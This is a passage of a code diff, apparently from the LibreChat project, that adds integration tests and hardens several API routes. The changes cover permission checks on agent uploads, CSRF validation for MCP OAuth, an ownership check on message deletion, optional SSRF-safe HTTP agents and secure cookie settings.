verifyAgentUploadPermission({ + req, + res, + metadata, + getAgent, + checkPermission, + }); + if (denied) { + return; } return await processAgentFileUpload({ req, res, metadata }); diff --git a/api/server/routes/files/images.agents.test.js b/api/server/routes/files/images.agents.test.js new file mode 100644 index 0000000000..862ab87d63 --- /dev/null +++ b/api/server/routes/files/images.agents.test.js @@ -0,0 +1,376 @@ +const express = require('express'); +const request = require('supertest'); +const mongoose = require('mongoose'); +const { v4: uuidv4 } = require('uuid'); +const { createMethods } = require('@librechat/data-schemas'); +const { MongoMemoryServer } = require('mongodb-memory-server'); +const { + SystemRoles, + AccessRoleIds, + ResourceType, + PrincipalType, +} = require('librechat-data-provider'); +const { createAgent } = require('~/models/Agent'); + +jest.mock('~/server/services/Files/process', () => ({ + processAgentFileUpload: jest.fn().mockImplementation(async ({ res }) => { + return res.status(200).json({ message: 'Agent file uploaded', file_id: 'test-file-id' }); + }), + processImageFile: jest.fn().mockImplementation(async ({ res }) => { + return res.status(200).json({ message: 'Image processed' }); + }), + filterFile: jest.fn(), +})); + +jest.mock('fs', () => { + const actualFs = jest.requireActual('fs'); + return { + ...actualFs, + promises: { + ...actualFs.promises, + unlink: jest.fn().mockResolvedValue(undefined), + }, + }; +}); + +const fs = require('fs'); +const { processAgentFileUpload } = require('~/server/services/Files/process'); + +const router = require('~/server/routes/files/images'); + +describe('POST /images - Agent Upload Permission Check (Integration)', () => { + let mongoServer; + let authorId; + let otherUserId; + let agentCustomId; + let User; + let Agent; + let AclEntry; + let methods; + let modelsToCleanup = []; + + beforeAll(async () => { + mongoServer = await MongoMemoryServer.create(); + const mongoUri = mongoServer.getUri(); + await mongoose.connect(mongoUri); + + const { createModels } = require('@librechat/data-schemas'); + const models = createModels(mongoose); + modelsToCleanup = Object.keys(models); + Object.assign(mongoose.models, models); + methods = createMethods(mongoose); + + User = models.User; + Agent = models.Agent; + AclEntry = models.AclEntry; + + await methods.seedDefaultRoles(); + }); + + afterAll(async () => { + const collections = mongoose.connection.collections; + for (const key in collections) { + await collections[key].deleteMany({}); + } + for (const modelName of modelsToCleanup) { + if (mongoose.models[modelName]) { + delete mongoose.models[modelName]; + } + } + await mongoose.disconnect(); + await mongoServer.stop(); + }); + + beforeEach(async () => { + await Agent.deleteMany({}); + await User.deleteMany({}); + await AclEntry.deleteMany({}); + + authorId = new mongoose.Types.ObjectId(); + otherUserId = new mongoose.Types.ObjectId(); + agentCustomId = `agent_${uuidv4().replace(/-/g, '').substring(0, 21)}`; + + await User.create({ _id: authorId, username: 'author', email: 'author@test.com' }); + await User.create({ _id: otherUserId, username: 'other', email: 'other@test.com' }); + + jest.clearAllMocks(); + }); + + const createAppWithUser = (userId, userRole = SystemRoles.USER) => { + const app = express(); + app.use(express.json()); + app.use((req, _res, next) => { + if (req.method === 'POST') { + req.file = { + originalname: 'test.png', + mimetype: 'image/png', + size: 100, + path: '/tmp/t.png', + filename: 'test.png', + }; + req.file_id = uuidv4(); + } + next(); + }); + app.use((req, _res, next) => { + req.user = { id: userId.toString(), role: userRole }; + req.app = { locals: {} }; + req.config = { fileStrategy: 'local', paths: { imageOutput: '/tmp/images' } }; + next(); + }); + app.use('/images', router); + return app; + }; + + it('should return 403 when user has no permission on agent', async () => { + await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(403); + expect(response.body.error).toBe('Forbidden'); + expect(processAgentFileUpload).not.toHaveBeenCalled(); + expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png'); + }); + + it('should allow upload for agent owner', async () => { + await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const app = createAppWithUser(authorId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + expect(processAgentFileUpload).toHaveBeenCalled(); + }); + + it('should allow upload for admin regardless of ownership', async () => { + await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const app = createAppWithUser(otherUserId, SystemRoles.ADMIN); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + expect(processAgentFileUpload).toHaveBeenCalled(); + }); + + it('should allow upload for user with EDIT permission', async () => { + const agent = await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const { grantPermission } = require('~/server/services/PermissionService'); + await grantPermission({ + principalType: PrincipalType.USER, + principalId: otherUserId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_EDITOR, + grantedBy: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + expect(processAgentFileUpload).toHaveBeenCalled(); + }); + + it('should deny upload for user with only VIEW permission', async () => { + const agent = await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const { grantPermission } = require('~/server/services/PermissionService'); + await grantPermission({ + principalType: PrincipalType.USER, + principalId: otherUserId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_VIEWER, + grantedBy: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(403); + expect(response.body.error).toBe('Forbidden'); + expect(processAgentFileUpload).not.toHaveBeenCalled(); + expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png'); + }); + + it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => { + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + }); + + it('should return 404 for non-existent agent', async () => { + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: 'agent_nonexistent123456789', + tool_resource: 'context', + file_id: uuidv4(), + }); + + expect(response.status).toBe(404); + expect(response.body.error).toBe('Not Found'); + expect(processAgentFileUpload).not.toHaveBeenCalled(); + expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png'); + }); + + it('should allow message_file attachment (boolean true) without EDIT permission', async () => { + const agent = await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const { grantPermission } = require('~/server/services/PermissionService'); + await grantPermission({ + principalType: PrincipalType.USER, + principalId: otherUserId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_VIEWER, + grantedBy: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + message_file: true, + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + expect(processAgentFileUpload).toHaveBeenCalled(); + }); + + it('should allow message_file attachment (string "true") without EDIT permission', async () => { + const agent = await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const { grantPermission } = require('~/server/services/PermissionService'); + await grantPermission({ + principalType: PrincipalType.USER, + principalId: otherUserId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_VIEWER, + grantedBy: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + message_file: 'true', + file_id: uuidv4(), + }); + + expect(response.status).toBe(200); + expect(processAgentFileUpload).toHaveBeenCalled(); + }); + + it('should deny upload when message_file is false (not a message attachment)', async () => { + const agent = await createAgent({ + id: agentCustomId, + name: 'Test Agent', + provider: 'openai', + model: 'gpt-4', + author: authorId, + }); + + const { grantPermission } = require('~/server/services/PermissionService'); + await grantPermission({ + principalType: PrincipalType.USER, + principalId: otherUserId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_VIEWER, + grantedBy: authorId, + }); + + const app = createAppWithUser(otherUserId); + const response = await request(app).post('/images').send({ + endpoint: 'agents', + agent_id: agentCustomId, + tool_resource: 'context', + message_file: false, + file_id: uuidv4(), + }); + + expect(response.status).toBe(403); + expect(response.body.error).toBe('Forbidden'); + expect(processAgentFileUpload).not.toHaveBeenCalled(); + expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png'); + }); +}); diff --git a/api/server/routes/files/images.js b/api/server/routes/files/images.js index 8072612a69..185ec7a671 100644 --- a/api/server/routes/files/images.js +++ b/api/server/routes/files/images.js @@ -2,12 +2,15 @@ const path = require('path'); const fs = require('fs').promises; const express = require('express'); const { logger } = require('@librechat/data-schemas'); +const { verifyAgentUploadPermission } = require('@librechat/api'); const { isAssistantsEndpoint } = require('librechat-data-provider'); const { processAgentFileUpload, processImageFile, filterFile, } = require('~/server/services/Files/process'); +const { checkPermission } = require('~/server/services/PermissionService'); +const { getAgent } = require('~/models/Agent'); const router = express.Router(); @@ -22,6 +25,16 @@ router.post('/', async (req, res) => { metadata.file_id = req.file_id; if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) { + const denied = await verifyAgentUploadPermission({ + req, + res, + metadata, + getAgent, + checkPermission, + }); + if (denied) { + return; + } return await processAgentFileUpload({ req, res, metadata }); } diff --git a/api/server/routes/index.js b/api/server/routes/index.js index f3571099cb..6a48919db3 100644 --- a/api/server/routes/index.js +++ b/api/server/routes/index.js @@ -1,6 +1,7 @@ const accessPermissions = require('./accessPermissions'); const assistants = require('./assistants'); const categories = require('./categories'); +const adminAuth = require('./admin/auth'); const endpoints = require('./endpoints'); const staticRoute = require('./static'); const messages = require('./messages'); @@ -9,6 +10,7 @@ const presets = require('./presets'); const prompts = require('./prompts'); const balance = require('./balance'); const actions = require('./actions'); +const apiKeys = require('./apiKeys'); const banner = require('./banner'); const search = require('./search'); const models = require('./models'); @@ -28,7 +30,9 @@ const mcp = require('./mcp'); module.exports = { mcp, auth, + adminAuth, keys, + apiKeys, user, tags, roles, diff --git a/api/server/routes/keys.js b/api/server/routes/keys.js index 620e4d234b..dfd68f69c4 100644 --- a/api/server/routes/keys.js +++ b/api/server/routes/keys.js @@ -5,7 +5,11 @@ const { requireJwtAuth } = require('~/server/middleware'); const router = express.Router(); router.put('/', requireJwtAuth, async (req, res) => { - await updateUserKey({ userId: req.user.id, ...req.body }); + if (req.body == null || typeof req.body !== 'object') { + return res.status(400).send({ error: 'Invalid request body.' }); + } + const { name, value, expiresAt } = req.body; + await updateUserKey({ userId: req.user.id, name, value, expiresAt }); res.status(201).send(); }); diff --git a/api/server/routes/mcp.js b/api/server/routes/mcp.js index f01c7ff71c..57a99d199a 100644 --- a/api/server/routes/mcp.js +++ b/api/server/routes/mcp.js @@ -8,18 +8,33 @@ const { Permissions, } = require('librechat-data-provider'); const { + getBasePath, createSafeUser, MCPOAuthHandler, MCPTokenStorage, - getBasePath, + setOAuthSession, + PENDING_STALE_MS, getUserMCPAuthMap, + validateOAuthCsrf, + OAUTH_CSRF_COOKIE, + setOAuthCsrfCookie, generateCheckAccess, + validateOAuthSession, + OAUTH_SESSION_COOKIE, } = require('@librechat/api'); const { - getMCPManager, - getFlowStateManager, + createMCPServerController, + updateMCPServerController, + deleteMCPServerController, + getMCPServersList, + getMCPServerById, + getMCPTools, +} = require('~/server/controllers/mcp'); +const { getOAuthReconnectionManager, getMCPServersRegistry, + getFlowStateManager, + getMCPManager, } = require('~/config'); const { getMCPSetupData, getServerConnectionStatus } = require('~/server/services/MCP'); const { requireJwtAuth, canAccessMCPServerResource } = require('~/server/middleware'); @@ -27,20 +42,26 @@ const { findToken, updateToken, createToken, deleteTokens } = require('~/models' const { getUserPluginAuthValue } = require('~/server/services/PluginService'); const { updateMCPServerTools } = require('~/server/services/Config/mcp'); const { reinitMCPServer } = require('~/server/services/Tools/mcp'); -const { getMCPTools } = require('~/server/controllers/mcp'); const { findPluginAuthsByKeys } = require('~/models'); const { getRoleByName } = require('~/models/Role'); const { getLogStores } = require('~/cache'); -const { - createMCPServerController, - getMCPServerById, - getMCPServersList, - updateMCPServerController, - deleteMCPServerController, -} = require('~/server/controllers/mcp'); const router = Router(); +const OAUTH_CSRF_COOKIE_PATH = '/api/mcp'; + +const checkMCPUsePermissions = generateCheckAccess({ + permissionType: PermissionTypes.MCP_SERVERS, + permissions: [Permissions.USE], + getRoleByName, +}); + +const checkMCPCreate = generateCheckAccess({ + permissionType: PermissionTypes.MCP_SERVERS, + permissions: [Permissions.USE, Permissions.CREATE], + getRoleByName, +}); + /** * Get all MCP tools available to the user * Returns only MCP tools, completely decoupled from regular LibreChat tools @@ -53,7 +74,7 @@ router.get('/tools', requireJwtAuth, async (req, res) => { * Initiate OAuth flow * This endpoint is called when the user clicks the auth link in the UI */ -router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => { +router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async (req, res) => { try { const { serverName } = req.params; const { userId, flowId } = req.query; @@ -83,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => { } const oauthHeaders = await getOAuthHeaders(serverName, userId); - const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow( + const { + authorizationUrl, + flowId: oauthFlowId, + flowMetadata, + } = await MCPOAuthHandler.initiateOAuthFlow( serverName, serverUrl, userId, @@ -93,7 +118,8 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, async (req, res) => { logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl }); - // Redirect user to the authorization URL + await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager); + setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH); res.redirect(authorizationUrl); } catch (error) { logger.error('[MCP OAuth] Failed to initiate OAuth', error); @@ -135,12 +161,53 @@ router.get('/:serverName/oauth/callback', async (req, res) => { return res.redirect(`${basePath}/oauth/error?error=missing_state`); } - const flowId = state; - logger.debug('[MCP OAuth] Using flow ID from state', { flowId }); - const flowsCache = getLogStores(CacheKeys.FLOWS); const flowManager = getFlowStateManager(flowsCache); + const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager); + if (!flowId) { + logger.error('[MCP OAuth] Could not resolve state to flow ID', { state }); + return res.redirect(`${basePath}/oauth/error?error=invalid_state`); + } + logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId }); + + const flowParts = flowId.split(':'); + if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) { + logger.error('[MCP OAuth] Invalid flow ID format', { flowId }); + return res.redirect(`${basePath}/oauth/error?error=invalid_state`); + } + + const [flowUserId] = flowParts; + + const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH); + const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId); + let hasActiveFlow = false; + if (!hasCsrf && !hasSession) { + const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth'); + const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity; + hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS; + if (hasActiveFlow) { + logger.debug( + '[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow', + { + flowId, + }, + ); + } + } + + if (!hasCsrf && !hasSession && !hasActiveFlow) { + logger.error( + '[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow', + { + flowId, + hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE], + hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE], + }, + ); + return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`); + } + logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId); const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager); @@ -254,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => { const toolFlowId = flowState.metadata?.toolFlowId; if (toolFlowId) { logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId }); - await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens); + const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens); + if (!completed) { + logger.warn( + '[MCP OAuth] Tool flow state not found during completion — waiter will time out', + { toolFlowId }, + ); + } } /** Redirect to success page with flowId and serverName */ @@ -302,13 +375,47 @@ router.get('/oauth/tokens/:flowId', requireJwtAuth, async (req, res) => { } }); +/** + * Set CSRF binding cookie for OAuth flows initiated outside of HTTP request/response + * (e.g. during chat via SSE). The frontend should call this before opening the OAuth URL + * so the callback can verify the browser matches the flow initiator. + */ +router.post('/:serverName/oauth/bind', requireJwtAuth, setOAuthSession, async (req, res) => { + try { + const { serverName } = req.params; + const user = req.user; + + if (!user?.id) { + return res.status(401).json({ error: 'User not authenticated' }); + } + + const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName); + setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH); + + res.json({ success: true }); + } catch (error) { + logger.error('[MCP OAuth] Failed to set CSRF binding cookie', error); + res.status(500).json({ error: 'Failed to bind OAuth flow' }); + } +}); + /** * Check OAuth flow status * This endpoint can be used to poll the status of an OAuth flow */ -router.get('/oauth/status/:flowId', async (req, res) => { +router.get('/oauth/status/:flowId', requireJwtAuth, async (req, res) => { try { const { flowId } = req.params; + const user = req.user; + + if (!user?.id) { + return res.status(401).json({ error: 'User not authenticated' }); + } + + if (!flowId.startsWith(`${user.id}:`) && !flowId.startsWith('system:')) { + return res.status(403).json({ error: 'Access denied' }); + } + const flowsCache = getLogStores(CacheKeys.FLOWS); const flowManager = getFlowStateManager(flowsCache); @@ -375,64 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => { * Reinitialize MCP server * This endpoint allows reinitializing a specific MCP server */ -router.post('/:serverName/reinitialize', requireJwtAuth, async (req, res) => { - try { - const { serverName } = req.params; - const user = createSafeUser(req.user); +router.post( + '/:serverName/reinitialize', + requireJwtAuth, + checkMCPUsePermissions, + setOAuthSession, + async (req, res) => { + try { + const { serverName } = req.params; + const user = createSafeUser(req.user); - if (!user.id) { - return res.status(401).json({ error: 'User not authenticated' }); - } + if (!user.id) { + return res.status(401).json({ error: 'User not authenticated' }); + } - logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`); + logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`); - const mcpManager = getMCPManager(); - const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id); - if (!serverConfig) { - return res.status(404).json({ - error: `MCP server '${serverName}' not found in configuration`, + const mcpManager = getMCPManager(); + const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id); + if (!serverConfig) { + return res.status(404).json({ + error: `MCP server '${serverName}' not found in configuration`, + }); + } + + await mcpManager.disconnectUserConnection(user.id, serverName); + logger.info( + `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`, + ); + + /** @type {Record> | undefined} */ + let userMCPAuthMap; + if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') { + userMCPAuthMap = await getUserMCPAuthMap({ + userId: user.id, + servers: [serverName], + findPluginAuthsByKeys, + }); + } + + const result = await reinitMCPServer({ + user, + serverName, + userMCPAuthMap, }); - } - await mcpManager.disconnectUserConnection(user.id, serverName); - logger.info( - `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`, - ); + if (!result) { + return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' }); + } - /** @type {Record> | undefined} */ - let userMCPAuthMap; - if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') { - userMCPAuthMap = await getUserMCPAuthMap({ - userId: user.id, - servers: [serverName], - findPluginAuthsByKeys, + const { success, message, oauthRequired, oauthUrl } = result; + + if (oauthRequired) { + const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName); + setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH); + } + + res.json({ + success, + message, + oauthUrl, + serverName, + oauthRequired, }); + } catch (error) { + logger.error('[MCP Reinitialize] Unexpected error', error); + res.status(500).json({ error: 'Internal server error' }); } - - const result = await reinitMCPServer({ - user, - serverName, - userMCPAuthMap, - }); - - if (!result) { - return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' }); - } - - const { success, message, oauthRequired, oauthUrl } = result; - - res.json({ - success, - message, - oauthUrl, - serverName, - oauthRequired, - }); - } catch (error) { - logger.error('[MCP Reinitialize] Unexpected error', error); - res.status(500).json({ error: 'Internal server error' }); - } -}); + }, +); /** * Get connection status for all MCP servers @@ -539,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) => * Check which authentication values exist for a specific MCP server * This endpoint returns only boolean flags indicating if values are set, not the actual values */ -router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => { +router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => { try { const { serverName } = req.params; const user = req.user; @@ -596,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) { MCP Server CRUD Routes (User-Managed MCP Servers) */ -// Permission checkers for MCP server management -const checkMCPUsePermissions = generateCheckAccess({ - permissionType: PermissionTypes.MCP_SERVERS, - permissions: [Permissions.USE], - getRoleByName, -}); - -const checkMCPCreate = generateCheckAccess({ - permissionType: PermissionTypes.MCP_SERVERS, - permissions: [Permissions.USE, Permissions.CREATE], - getRoleByName, -}); - /** * Get list of accessible MCP servers * @route GET /api/mcp/servers diff --git a/api/server/routes/messages.js b/api/server/routes/messages.js index c208e9c406..03286bc7f1 100644 --- a/api/server/routes/messages.js +++ b/api/server/routes/messages.js @@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => { try { - const { messageId } = req.params; - await deleteMessages({ messageId }); + const { conversationId, messageId } = req.params; + await deleteMessages({ messageId, conversationId, user: req.user.id }); res.status(204).send(); } catch (error) { logger.error('Error deleting message:', error); diff --git a/api/server/routes/oauth.js b/api/server/routes/oauth.js index 64d29210ac..f4bb5b6026 100644 --- a/api/server/routes/oauth.js +++ b/api/server/routes/oauth.js @@ -4,10 +4,9 @@ const passport = require('passport'); const { randomState } = require('openid-client'); const { logger } = require('@librechat/data-schemas'); const { ErrorTypes } = require('librechat-data-provider'); -const { isEnabled, createSetBalanceConfig } = require('@librechat/api'); -const { checkDomainAllowed, loginLimiter, logHeaders, checkBan } = require('~/server/middleware'); -const { syncUserEntraGroupMemberships } = require('~/server/services/PermissionService'); -const { setAuthTokens, setOpenIDAuthTokens } = require('~/server/services/AuthService'); +const { createSetBalanceConfig } = require('@librechat/api'); +const { checkDomainAllowed, loginLimiter, logHeaders } = require('~/server/middleware'); +const { createOAuthHandler } = require('~/server/controllers/auth/oauth'); const { getAppConfig } = require('~/server/services/Config'); const { Balance } = require('~/db/models'); @@ -26,36 +25,11 @@ const domains = { router.use(logHeaders); router.use(loginLimiter); -const oauthHandler = async (req, res, next) => { - try { - if (res.headersSent) { - return; - } - - await checkBan(req, res); - if (req.banned) { - return; - } - if ( - req.user && - req.user.provider == 'openid' && - isEnabled(process.env.OPENID_REUSE_TOKENS) === true - ) { - await syncUserEntraGroupMemberships(req.user, req.user.tokenset.access_token); - setOpenIDAuthTokens(req.user.tokenset, req, res, req.user._id.toString()); - } else { - await setAuthTokens(req.user._id, res); - } - res.redirect(domains.client); - } catch (err) { - logger.error('Error in setting authentication tokens:', err); - next(err); - } -}; +const oauthHandler = createOAuthHandler(); router.get('/error', (req, res) => { /** A single error message is pushed by passport when authentication fails. */ - const errorMessage = req.session?.messages?.pop() || 'Unknown error'; + const errorMessage = req.session?.messages?.pop() || 'Unknown OAuth error'; logger.error('Error in OAuth authentication:', { message: errorMessage, }); diff --git a/api/server/routes/roles.js b/api/server/routes/roles.js index abb53141bd..12e18c7624 100644 --- a/api/server/routes/roles.js +++ b/api/server/routes/roles.js @@ -6,9 +6,10 @@ const { agentPermissionsSchema, promptPermissionsSchema, memoryPermissionsSchema, + mcpServersPermissionsSchema, marketplacePermissionsSchema, peoplePickerPermissionsSchema, - mcpServersPermissionsSchema, + remoteAgentsPermissionsSchema, } = require('librechat-data-provider'); const { checkAdmin, requireJwtAuth } = require('~/server/middleware'); const { updateRoleByName, getRoleByName } = require('~/models/Role'); @@ -51,6 +52,11 @@ const permissionConfigs = { permissionType: PermissionTypes.MARKETPLACE, errorMessage: 'Invalid marketplace permissions.', }, + 'remote-agents': { + schema: remoteAgentsPermissionsSchema, + permissionType: PermissionTypes.REMOTE_AGENTS, + errorMessage: 'Invalid remote agents permissions.', + }, }; /** @@ -160,4 +166,10 @@ router.put('/:roleName/mcp-servers', checkAdmin, createPermissionUpdateHandler(' */ router.put('/:roleName/marketplace', checkAdmin, createPermissionUpdateHandler('marketplace')); +/** + * PUT /api/roles/:roleName/remote-agents + * Update remote agents (API) permissions for a specific role + */ +router.put('/:roleName/remote-agents', checkAdmin, createPermissionUpdateHandler('remote-agents')); + module.exports = router; diff --git a/api/server/routes/share.js b/api/server/routes/share.js index 6400b8b637..296644afde 100644 --- a/api/server/routes/share.js +++ b/api/server/routes/share.js @@ -19,9 +19,7 @@ const allowSharedLinks = process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS); if (allowSharedLinks) { - const allowSharedLinksPublic = - process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined || - isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC); + const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC); router.get( '/:shareId', allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth, diff --git a/api/server/services/ActionService.js b/api/server/services/ActionService.js index a2a515d14a..5e96726a46 100644 --- a/api/server/services/ActionService.js +++ b/api/server/services/ActionService.js @@ -8,6 +8,7 @@ const { logAxiosError, refreshAccessToken, GenerationJobManager, + createSSRFSafeAgents, } = require('@librechat/api'); const { Time, @@ -133,6 +134,7 @@ async function loadActionSets(searchParams) { * @param {import('zod').ZodTypeAny | undefined} [params.zodSchema] - The Zod schema for tool input validation/definition * @param {{ oauth_client_id?: string; oauth_client_secret?: string; }} params.encrypted - The encrypted values for the action. * @param {string | null} [params.streamId] - The stream ID for resumable streams. + * @param {boolean} [params.useSSRFProtection] - When true, uses SSRF-safe HTTP agents that validate resolved IPs at connect time. * @returns { Promise unknown}> } An object with `_call` method to execute the tool input. */ async function createActionTool({ @@ -145,7 +147,9 @@ async function createActionTool({ description, encrypted, streamId = null, + useSSRFProtection = false, }) { + const ssrfAgents = useSSRFProtection ? createSSRFSafeAgents() : undefined; /** @type {(toolInput: Object | string, config: GraphRunnableConfig) => Promise} */ const _call = async (toolInput, config) => { try { @@ -201,7 +205,7 @@ async function createActionTool({ async () => { const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data }; if (streamId) { - GenerationJobManager.emitChunk(streamId, eventData); + await GenerationJobManager.emitChunk(streamId, eventData); } else { sendEvent(res, eventData); } @@ -231,7 +235,7 @@ async function createActionTool({ data.delta.expires_at = undefined; const successEventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data }; if (streamId) { - GenerationJobManager.emitChunk(streamId, successEventData); + await GenerationJobManager.emitChunk(streamId, successEventData); } else { sendEvent(res, successEventData); } @@ -324,7 +328,7 @@ async function createActionTool({ } } - const response = await preparedExecutor.execute(); + const response = await preparedExecutor.execute(ssrfAgents); if (typeof response.data === 'object') { return JSON.stringify(response.data); diff --git a/api/server/services/AuthService.js b/api/server/services/AuthService.js index a400bce8b7..ef50a365b9 100644 --- a/api/server/services/AuthService.js +++ b/api/server/services/AuthService.js @@ -7,7 +7,13 @@ const { DEFAULT_REFRESH_TOKEN_EXPIRY, } = require('@librechat/data-schemas'); const { ErrorTypes, SystemRoles, errorsToString } = require('librechat-data-provider'); -const { isEnabled, checkEmailConfig, isEmailDomainAllowed, math } = require('@librechat/api'); +const { + math, + isEnabled, + checkEmailConfig, + isEmailDomainAllowed, + shouldUseSecureCookie, +} = require('@librechat/api'); const { findUser, findToken, @@ -33,7 +39,6 @@ const domains = { server: process.env.DOMAIN_SERVER, }; -const isProduction = process.env.NODE_ENV === 'production'; const genericVerificationMessage = 'Please check your email to verify your email address.'; /** @@ -392,13 +397,13 @@ const setAuthTokens = async (userId, res, _session = null) => { res.cookie('refreshToken', refreshToken, { expires: new Date(refreshTokenExpires), httpOnly: true, - secure: isProduction, + secure: shouldUseSecureCookie(), sameSite: 'strict', }); res.cookie('token_provider', 'librechat', { expires: new Date(refreshTokenExpires), httpOnly: true, - secure: isProduction, + secure: shouldUseSecureCookie(), sameSite: 'strict', }); return token; @@ -419,7 +424,7 @@ const setAuthTokens = async (userId, res, _session = null) => { * @param {Object} req - request object (for session access) * @param {Object} res - response object * @param {string} [userId] - Optional MongoDB user ID for image path validation - * @returns {String} - access token + * @returns {String} - id_token (preferred) or access_token as the app auth token */ const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) => 